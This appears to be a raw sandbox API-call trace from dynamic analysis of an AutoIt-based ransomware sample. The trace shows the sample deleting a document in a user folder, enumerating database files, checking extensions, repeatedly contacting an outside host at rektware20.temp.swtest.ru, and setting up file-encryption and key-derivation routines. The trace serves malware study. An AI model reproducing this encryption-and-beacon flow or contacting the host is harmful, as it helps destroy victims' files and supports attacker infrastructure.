PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.225] CloseHandle (hObject=0x2ac) returned 1 [0069.225] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.225] CloseHandle (hObject=0x3bc) returned 1 [0069.229] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.230] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0069.230] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\a 4XLMlkzLNT6.pps", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\a 4XLMlkzLNT6.pps", lpFilePart=0x0) returned 0x31 [0069.230] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\a 4XLMlkzLNT6.pps" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\a 4xlmlkzlnt6.pps")) returned 0x20 [0069.230] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\a 4XLMlkzLNT6.pps", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c630 [0069.230] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\a 4XLMlkzLNT6.pps" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\a 4xlmlkzlnt6.pps")) returned 1 [0069.232] FindNextFileW (in: hFindFile=0x164c630, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0069.233] FindClose (in: hFindFile=0x164c630 | out: hFindFile=0x164c630) returned 1 [0069.233] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0069.235] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0069.235] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0069.235] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0069.235] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Database1.accdb", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0069.235] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0069.235] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0069.235] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0069.235] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0069.235] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0069.235] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0069.235] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e20, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620e20, lpdwBufferLength=0x130ef8c) returned 1 [0069.236] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0069.236] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0069.236] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0069.237] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0069.237] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0069.237] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0069.237] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292e0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0069.237] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16291a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16291a0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0069.237] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0069.237] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0069.237] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0069.237] CloseHandle (hObject=0x0) returned 0 [0069.237] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Database1.accdb", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.237] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Documents\\Database1.accdb", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Documents\\Database1.accdb", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Documents\\Database1.accdb", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Documents\\Database1.accdb", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Documents\\Database1.accdb", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Documents\\Database1.accdb", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Documents\\Database1.accdb", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Documents\\Database1.accdb", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Documents\\Database1.accdb", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Documents\\Database1.accdb", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Documents\\Database1.accdb", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Documents\\Database1.accdb", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Documents\\Database1.accdb", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Documents\\Database1.accdb", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Documents\\Database1.accdb", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Documents\\Database1.accdb", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Documents\\Database1.accdb", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Documents\\Database1.accdb", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Documents\\Database1.accdb", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Documents\\Database1.accdb", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Documents\\Database1.accdb", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Documents\\Database1.accdb", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocuments\\Database1.accdb", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cuments\\Database1.accdb", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uments\\Database1.accdb", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ments\\Database1.accdb", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ents\\Database1.accdb", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nts\\Database1.accdb", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ts\\Database1.accdb", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Database1.accdb", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Database1.accdb", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Database1.accdb", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="atabase1.accdb", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tabase1.accdb", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="abase1.accdb", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.238] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="base1.accdb", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.239] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ase1.accdb", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.239] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="se1.accdb", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.239] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="e1.accdb", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.239] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1.accdb", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.239] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".accdb", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0069.239] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="accdb", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.239] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ccdb", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.239] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cdb", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.239] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0069.239] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0069.239] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0069.239] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0069.239] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0069.239] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0069.239] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0069.239] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0069.239] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f88, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620f88, lpdwBufferLength=0x130ee1c) returned 1 [0069.239] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0069.239] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0069.239] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0069.240] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0069.240] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0069.240] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0069.240] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629320, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629320*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0069.240] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629180, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629180*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0069.240] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0069.241] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0069.241] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0069.241] CloseHandle (hObject=0x0) returned 0 [0069.241] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.241] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Database1.accdb", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d070 [0069.241] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0069.241] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.241] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0069.241] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.241] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0069.241] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0069.241] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.241] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0069.242] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.242] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.242] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0069.242] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0069.242] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0069.242] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.242] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.242] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0069.242] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0069.242] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0069.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0069.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0069.243] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0069.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0069.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164df90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0069.243] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0069.243] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa1a8) returned 1 [0069.243] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.243] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.243] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0069.244] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0069.244] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0069.244] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.244] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.244] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.244] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0069.244] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0069.244] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0069.244] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.244] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.244] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.244] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.244] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0069.244] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.244] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.244] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0069.244] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.244] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0069.244] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0069.244] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.244] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.244] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0069.245] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0069.245] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0069.245] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.245] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.245] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.245] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0069.245] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0069.245] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0069.245] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0069.245] 